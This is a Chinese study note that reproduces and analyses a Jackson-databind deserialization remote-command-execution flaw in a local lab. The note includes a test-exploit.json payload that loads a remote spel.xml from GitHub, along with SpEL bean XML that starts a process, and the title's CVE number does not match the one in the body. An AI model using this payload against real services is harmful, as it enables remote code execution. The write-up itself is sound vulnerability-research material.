CVE-2017-7275:Jackson-databind漏洞复现与分析笔记

0x00 前言

这篇学习笔记包含了CVE-2017-7275的漏洞原理概述、实验环境搭建、漏洞复现、漏洞分析等主要环节。如有谬误,请您帮我指正!如有其他建议,请您多多指教!

0x01 漏洞原理概述

《漏洞通告】Jackson-databind远程命令执行漏洞通告(CVE-2017-7525)》[1]指出,Jackson是一个开源的java序列化与反序列化工具,可以将java对象序列化为xmljson格式的字符串或将两种文件反序列化为相应的对象。

Jackson-databind存在远程命令执行漏洞,因Jackson反序列化漏洞(CVE-2017-7525)采用黑名单的方法修复程序,CVE-2017-17485在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。

0x02 实验环境搭建

  • 操作系统:Win 7 x64
1
2
3
JDK 1.8.0_151
apache-maven-3.3.3
IntelliJ IDEA 2017.1.3

实验的测试环境是:https://github.com/irsl/jackson-rce-via-spel

为了搭建该测试环境,需要安装软件项目管理工具Maven,搭建过程可参考《Spring框架的反序列化远程代码执行漏洞分析》[2];

0x03 漏洞复现

  • 导入maven结构的web工程

导入的过程可参考《IntelliJ IDEA如何导入maven结构的web工程》[3];导入后的结果如图所示:
CVE-2017-7275

APP.java.png

  • 将App.main()方法的“Program arguments”设置为“test-exploit.json”

设置的过程如图所示:

test-exploit.json.png

  • 运行App.main()方法

运行的结果如图所示:

calc.png

我们可以发现,计算器被弹出了。

0x04 漏洞分析

攻击的实施需要依靠Jackson的反序列化Spring表达式语言SpEL的引用Bean。在这里做一个比喻(可能不是很恰当)。如果说这样的攻击方式是“披着羊皮的狼”的话,那么“Json文件名”充当了“羊皮”而被精心构造的“Json代码”与“SpEL”则充当了狼。而在“Java虚拟机中反序列化”相当于“引狼入室”。

  • Jackson反序列化

通过Jackson反序列化,可以将Json反序列化为Java对象。刚刚的漏洞复现工程就包含了Json反序列化的过程。

例如,我们可以在刚刚的漏洞复现的工程中将App.main()方法的“Program arguments”设置为“test-legit.json”。test-legit.json的内容如下:

1
{"id":123}

运行的结果则如图所示:

test-legalit.json.png

我们可以发现,test-legit.json被反序列化成inner类的对象i,并且i的id属性值为“123”。

  • Spring表达式语言SpEL的引用Bean

SpEL(Spring Expression Language)可用于引用Bean。《Spring学习笔记–Spring表达式语言SpEL》[4]这篇文章对“SpEL”讲解得不错。

为了了解“SpEl”,我们可以在刚刚的漏洞复现工程里创建这样一个Test.java文件,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.qcct.myspring;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.lang.ProcessBuilder;

/**
* Created by JJ on 2018/1/12.
*/
public class Test {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spel.xml");
ProcessBuilder pb = (ProcessBuilder) context.getBean("pb");
}
}

而Test.java调用的spel.xml的内容如下:

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="mspaint.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

这段代码的执行结果如图所示:

mspaint.exe.png
我们可以发现“画图”被打开了。ProcessBuilder被SpEL引用了。

  • 分析test-exploit.json

test-exploit.json的内容如下:

1
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

我们可以发现,这个Json里有类名org.springframework.context.support.FileSystemXmlApplicationContext。于是我们可以从“External Libraries”查看这个类的源码。如图所示:

FileSystemXmlApplicationContext.png

我们还可以了解这个类的继承关系,如图所示:

DiagramForFileSystemXmlApplicationContext.png

类的继承关系一目了然了。

在博客[4]中,我发现了在引用Bean时,可以借助Spring框架的ApplicationContext接口中的getBean方法。其核心代码如下:

1
2
3
4
5
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spring-idol.xml");
Poet poet = (Poet) context.getBean("poet");
poet.recite();
}

于是我审查了ApplicationContext等接口的源码,后来在BeanFactory接口中发现了返回类型为ObjectgetBean方法,如图所示:

Diagram.png

我们也可以在getBean方法处设置断点,接着进行Debug,我们可以发现程序会停在断点处。这也说明了该JAVA反序列化远程命令执行漏洞getBean方法息息相关。

0x05 反思

  • Apachen Maven是不错的软件项目管理工具,可方便他人复现漏洞,值得继续学习;
  • 有时可以借助IntelliJ IDEA的Show Diagram Popup这个功能来观察类和接口的继承关系,以对所审计的代码有更直观的把握。

0x06 参考链接

[1]漏洞通告】Jackson-databind远程命令执行漏洞通告(CVE-2017-7525)

[2]Spring框架的反序列化远程代码执行漏洞分析

[3]IntelliJ IDEA如何导入maven结构的web工程

[4]Spring学习笔记–Spring表达式语言SpEL